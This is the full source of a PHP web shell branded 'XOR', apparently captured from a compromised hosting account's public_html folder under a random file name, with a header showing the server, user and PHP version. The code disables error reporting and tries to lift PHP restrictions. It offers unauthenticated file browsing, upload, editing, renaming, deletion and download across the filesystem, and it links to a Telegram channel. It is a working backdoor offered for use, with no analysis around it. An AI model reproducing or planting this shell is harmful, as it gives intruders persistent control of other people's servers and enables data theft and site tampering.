HEX
Server: LiteSpeed
System: Linux server308.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: bestafjg (2207)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/bestafjg/public_html/ovanzeibk.php
<?php
/**
 */
@error_reporting(0);
@ini_set('display_errors', 0);

// Set headers to ensure proper rendering
header('Content-Type: text/html; charset=utf-8');

if(function_exists('ini_set')) {
    @ini_set('open_basedir', NULL);
    @ini_set('disable_functions', '');
}

// Helper Functions
function writeFile($file, $data) { return @file_put_contents($file, $data) !== false; }
function readFileContent($file) { return @file_get_contents($file) ?: ''; }
function scanDirectory($dir) { return @scandir($dir) ?: array(); }

// Path Logic
$currentPath = isset($_GET['p']) ? $_GET['p'] : (@getcwd() ?: '.');
$currentPath = rtrim(str_replace(array('\\','//'), '/', $currentPath), '/') . '/';
if(!@is_dir($currentPath)) $currentPath = './';

$message = '';

// POST Actions
if($_SERVER['REQUEST_METHOD'] === 'POST') {
    if(isset($_FILES['upload'])) {
        $destination = $currentPath . basename($_FILES['upload']['name']);
        $message = @move_uploaded_file($_FILES['upload']['tmp_name'], $destination) || 
                   writeFile($destination, readFileContent($_FILES['upload']['tmp_name'])) 
            ? '<span class="status-success">✓ Uploaded successfully</span>' 
            : '<span class="status-error">✗ Upload failed</span>';
    }
    if(isset($_POST['new'])) {
        $path = $currentPath . $_POST['new'];
        if(isset($_POST['type']) && $_POST['type'] === 'dir') {
            $message = @mkdir($path) ? '<span class="status-success">✓ Folder created</span>' : '<span class="status-error">✗ Failed to create folder</span>';
        } else {
            $message = writeFile($path, isset($_POST['content']) ? $_POST['content'] : '') ? '<span class="status-success">✓ File created</span>' : '<span class="status-error">✗ Failed to create file</span>';
        }
    }
    if(isset($_POST['save']) && isset($_POST['data'])) {
        $message = writeFile($currentPath . $_POST['save'], $_POST['data']) ? '<span class="status-success">✓ Saved</span>' : '<span class="status-error">✗ Save failed</span>';
    }
    if(isset($_POST['oldname']) && isset($_POST['newname'])) {
        $message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname']) ? '<span class="status-success">✓ Renamed</span>' : '<span class="status-error">✗ Rename failed</span>';
    }
}

// GET Actions
if(isset($_GET['action'])) {
    $item = isset($_GET['item']) ? $_GET['item'] : '';
    $itemPath = $currentPath . $item;
    if($_GET['action'] === 'delete') {
        if(@is_file($itemPath)) { $message = @unlink($itemPath) ? '<span class="status-success">✓ Deleted</span>' : '<span class="status-error">✗ Delete failed</span>'; }
        elseif(@is_dir($itemPath)) { $message = @rmdir($itemPath) ? '<span class="status-success">✓ Deleted</span>' : '<span class="status-error">✗ Delete failed</span>'; }
    } elseif($_GET['action'] === 'download' && @is_file($itemPath)) {
        @ob_clean();
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($itemPath).'"');
        @readfile($itemPath);
        exit;
    }
}

$items = array_diff(scanDirectory($currentPath), array('.', '..'));
$folders = array(); $files = array();
foreach($items as $item) { @is_dir($currentPath.$item) ? $folders[] = $item : $files[] = $item; }
sort($folders); sort($files);

$systemInfo = array(
    'PHP' => @phpversion(), 
    'OS' => @php_uname('s'), 
    'USER' => @get_current_user()
);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XOR |</title>
    <style>
        :root {
            --bg: #0d1117;
            --surface: #161b22;
            --accent: #58a6ff;
            --accent-glow: rgba(88, 166, 255, 0.2);
            --text: #c9d1d9;
            --text-dim: #8b949e;
            --success: #3fb950;
            --danger: #f85149;
            --tg-blue: #0088cc;
        }
        * { margin:0; padding:0; box-sizing:border-box; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif; }
        body { background-color: var(--bg); color: var(--text); padding: 20px; line-height: 1.5; }
        
        .wrapper { max-width: 1200px; margin: 0 auto; border: 1px solid #30363d; border-radius: 6px; overflow: hidden; background-color: var(--surface); }

        header { padding: 24px; border-bottom: 1px solid #30363d; display: flex; justify-content: space-between; align-items: center; background-color: #0d1117; }
        h1 { color: var(--accent); font-size: 20px; font-weight: 600; letter-spacing: 1px; }
        
        .tg-link { display: flex; align-items: center; gap: 8px; color: #fff; background-color: var(--tg-blue); padding: 8px 16px; border-radius: 20px; text-decoration: none; font-size: 13px; font-weight: 500; transition: filter 0.2s; }
        .tg-link:hover { filter: brightness(1.1); }
        .tg-link svg { width: 18px; height: 18px; fill: white; }

        .sys-info { margin-top: 8px; display: flex; gap: 16px; font-size: 12px; color: var(--text-dim); }
        .sys-info b { color: var(--text); }

        .breadcrumb { padding: 12px 24px; background-color: #161b22; font-size: 13px; border-bottom: 1px solid #30363d; }
        .breadcrumb a { color: var(--accent); text-decoration: none; }
        .breadcrumb span { color: var(--text-dim); margin: 0 4px; }

        .toolbar { padding: 16px 24px; display: flex; gap: 10px; background-color: #0d1117; }
        .btn { padding: 6px 12px; border-radius: 6px; border: 1px solid #30363d; background-color: #21262d; color: #c9d1d9; cursor: pointer; font-size: 13px; text-decoration: none; display: inline-flex; align-items: center; transition: 0.2s; }
        .btn:hover { background-color: #30363d; border-color: #8b949e; }
        .btn-neon { background-color: #238636; border-color: rgba(240,246,252,0.1); color: #fff; }
        .btn-neon:hover { background-color: #2ea043; }

        .file-list { width: 100%; border-collapse: collapse; }
        .file-list th { text-align: left; padding: 12px 24px; font-size: 12px; font-weight: 600; color: var(--text-dim); border-bottom: 1px solid #30363d; }
        .file-list td { padding: 12px 24px; border-bottom: 1px solid #21262d; font-size: 14px; }
        .file-list tr:hover { background-color: rgba(177, 186, 196, 0.05); }
        
        .folder-link { color: var(--accent); text-decoration: none; font-weight: 500; }
        .file-link { color: var(--text); text-decoration: none; }
        .actions { display: flex; gap: 12px; }
        .actions a, .actions button { background: none; border: none; color: var(--accent); cursor: pointer; font-size: 13px; text-decoration: none; }
        .actions a:hover { text-decoration: underline; }
        .actions .del { color: var(--danger); }

        .editor-wrap { padding: 24px; background-color: #0d1117; }
        textarea { width: 100%; height: 500px; background-color: #0d1117; color: #e6edf3; border: 1px solid #30363d; border-radius: 6px; padding: 16px; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 14px; outline: none; }

        .status-success { color: var(--success); }
        .status-error { color: var(--danger); }
    </style>
</head>
<body>

<div class="wrapper">
    <header>
        <div>
            <h1>XOR <span style="font-weight:300; opacity:0.6;"></span></h1>
            <div class="sys-info">
                <?php foreach($systemInfo as $k => $v): ?>
                    <span><?php echo $k; ?>: <b><?php echo $v; ?></b></span>
                <?php endforeach; ?>
            </div>
        </div>
        
        <a href="https://t.me/XOR48" target="_blank" class="tg-link">
            <svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm4.64 6.8c-.15 1.58-.8 5.42-1.13 7.19-.14.75-.42 1-.68 1.03-.58.05-1.02-.38-1.58-.75-.88-.58-1.38-.94-2.23-1.5-.99-.65-.35-1.01.22-1.59.15-.15 2.71-2.48 2.76-2.69.01-.03.01-.14-.07-.2-.08-.06-.19-.04-.27-.02-.12.02-1.96 1.24-5.54 3.65-.52.36-.99.53-1.41.52-.46-.01-1.35-.26-2.01-.48-.81-.27-1.45-.42-1.39-.89.03-.24.36-.49.99-.74 3.86-1.68 6.43-2.78 7.72-3.31 3.67-1.53 4.44-1.8 4.94-1.81.11 0 .35.03.5.16.13.1.17.24.18.34z"/></svg>
            TELEGRAM
        </a>
    </header>

    <?php if($message): ?><div style="padding: 12px 24px; font-size: 13px; border-bottom: 1px solid #30363d; background-color: #161b22;"><?php echo $message; ?></div><?php endif; ?>

    <div class="breadcrumb">
        <a href="?p=/">root</a>
        <?php 
        $parts = explode('/', trim($currentPath, '/'));
        $tempP = '';
        foreach($parts as $p): if(!$p) continue; $tempP .= '/'.$p; ?>
            <span>/</span><a href="?p=<?php echo urlencode($tempP); ?>/"><?php echo $p; ?></a>
        <?php endforeach; ?>
    </div>

    <div class="toolbar">
        <form method="post" enctype="multipart/form-data" id="upf">
            <input type="file" name="upload" id="upinput" style="display:none" onchange="document.getElementById('upf').submit()">
            <button type="button" class="btn btn-neon" onclick="document.getElementById('upinput').click()">Upload File</button>
        </form>
        <button class="btn" onclick="newFile()">New File</button>
        <button class="btn" onclick="newFolder()">New Folder</button>
        <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn">Refresh</a>
    </div>

    <?php if(isset($_GET['edit'])): ?>
        <div class="editor-wrap">
            <h4 style="margin-bottom:12px; font-size:14px; color:var(--text)">Editing: <?php echo htmlspecialchars($_GET['edit']); ?></h4>
            <form method="post">
                <input type="hidden" name="save" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
                <textarea name="data"><?php echo htmlspecialchars(readFileContent($currentPath.$_GET['edit'])); ?></textarea>
                <div style="margin-top:16px; display:flex; gap:12px;">
                    <button class="btn btn-neon">Save Changes</button>
                    <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn">Cancel</a>
                </div>
            </form>
        </div>
    <?php else: ?>
        <table class="file-list">
            <thead>
                <tr>
                    <th width="50%">Name</th>
                    <th>Perms</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php if($currentPath !== '/'): ?>
                    <tr><td colspan="4"><a href="?p=<?php echo urlencode(dirname($currentPath)); ?>/" class="folder-link">..</a></td></tr>
                <?php endif; ?>
                
                <?php foreach($folders as $f): $perm = substr(sprintf('%o', @fileperms($currentPath.$f)), -3); ?>
                <tr>
                    <td><a href="?p=<?php echo urlencode($currentPath.$f); ?>/" class="folder-link">📁 <?php echo htmlspecialchars($f); ?></a></td>
                    <td><?php echo $perm; ?></td>
                    <td>DIR</td>
                    <td class="actions">
                        <button onclick="renameItem('<?php echo htmlspecialchars($f); ?>')">Rename</button>
                        <a href="?p=<?php echo urlencode($currentPath); ?>&action=delete&item=<?php echo urlencode($f); ?>" class="del" onclick="return confirm('Delete folder?')">Delete</a>
                    </td>
                </tr>
                <?php endforeach; ?>

                <?php foreach($files as $file): 
                    $fpath = $currentPath.$file; $size = @filesize($fpath);
                    $perm = substr(sprintf('%o', @fileperms($fpath)), -3);
                    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                    $isEdit = in_array($ext, array('php','txt','html','css','js','json','sql','sh'));
                ?>
                <tr>
                    <td>
                        <a href="<?php echo $isEdit ? '?p='.urlencode($currentPath).'&edit='.urlencode($file) : '?p='.urlencode($currentPath).'&action=download&item='.urlencode($file); ?>" class="file-link">
                            📄 <?php echo htmlspecialchars($file); ?>
                        </a>
                    </td>
                    <td><?php echo $perm; ?></td>
                    <td><?php echo round($size/1024, 2); ?> KB</td>
                    <td class="actions">
                        <?php if($isEdit): ?><a href="?p=<?php echo urlencode($currentPath); ?>&edit=<?php echo urlencode($file); ?>">Edit</a><?php endif; ?>
                        <a href="?p=<?php echo urlencode($currentPath); ?>&action=download&item=<?php echo urlencode($file); ?>">Download</a>
                        <button onclick="renameItem('<?php echo htmlspecialchars($file); ?>')">Rename</button>
                        <a href="?p=<?php echo urlencode($currentPath); ?>&action=delete&item=<?php echo urlencode($file); ?>" class="del" onclick="return confirm('Delete file?')">Delete</a>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
</div>

<script>
    function newFile() {
        let n = prompt("File name:", "index.php");
        if(n) {
            let f = document.createElement('form'); f.method='post';
            f.innerHTML = `<input type="hidden" name="new" value="${n}"><input type="hidden" name="content" value="">`;
            document.body.appendChild(f); f.submit();
        }
    }
    function newFolder() {
        let n = prompt("Folder name:", "assets");
        if(n) {
            let f = document.createElement('form'); f.method='post';
            f.innerHTML = `<input type="hidden" name="new" value="${n}"><input type="hidden" name="type" value="dir">`;
            document.body.appendChild(f); f.submit();
        }
    }
    function renameItem(old) {
        let n = prompt("New name:", old);
        if(n && n !== old) {
            let f = document.createElement('form'); f.method='post';
            f.innerHTML = `<input type="hidden" name="oldname" value="${old}"><input type="hidden" name="newname" value="${n}">`;
            document.body.appendChild(f); f.submit();
        }
    }
</script>
</body>
</html>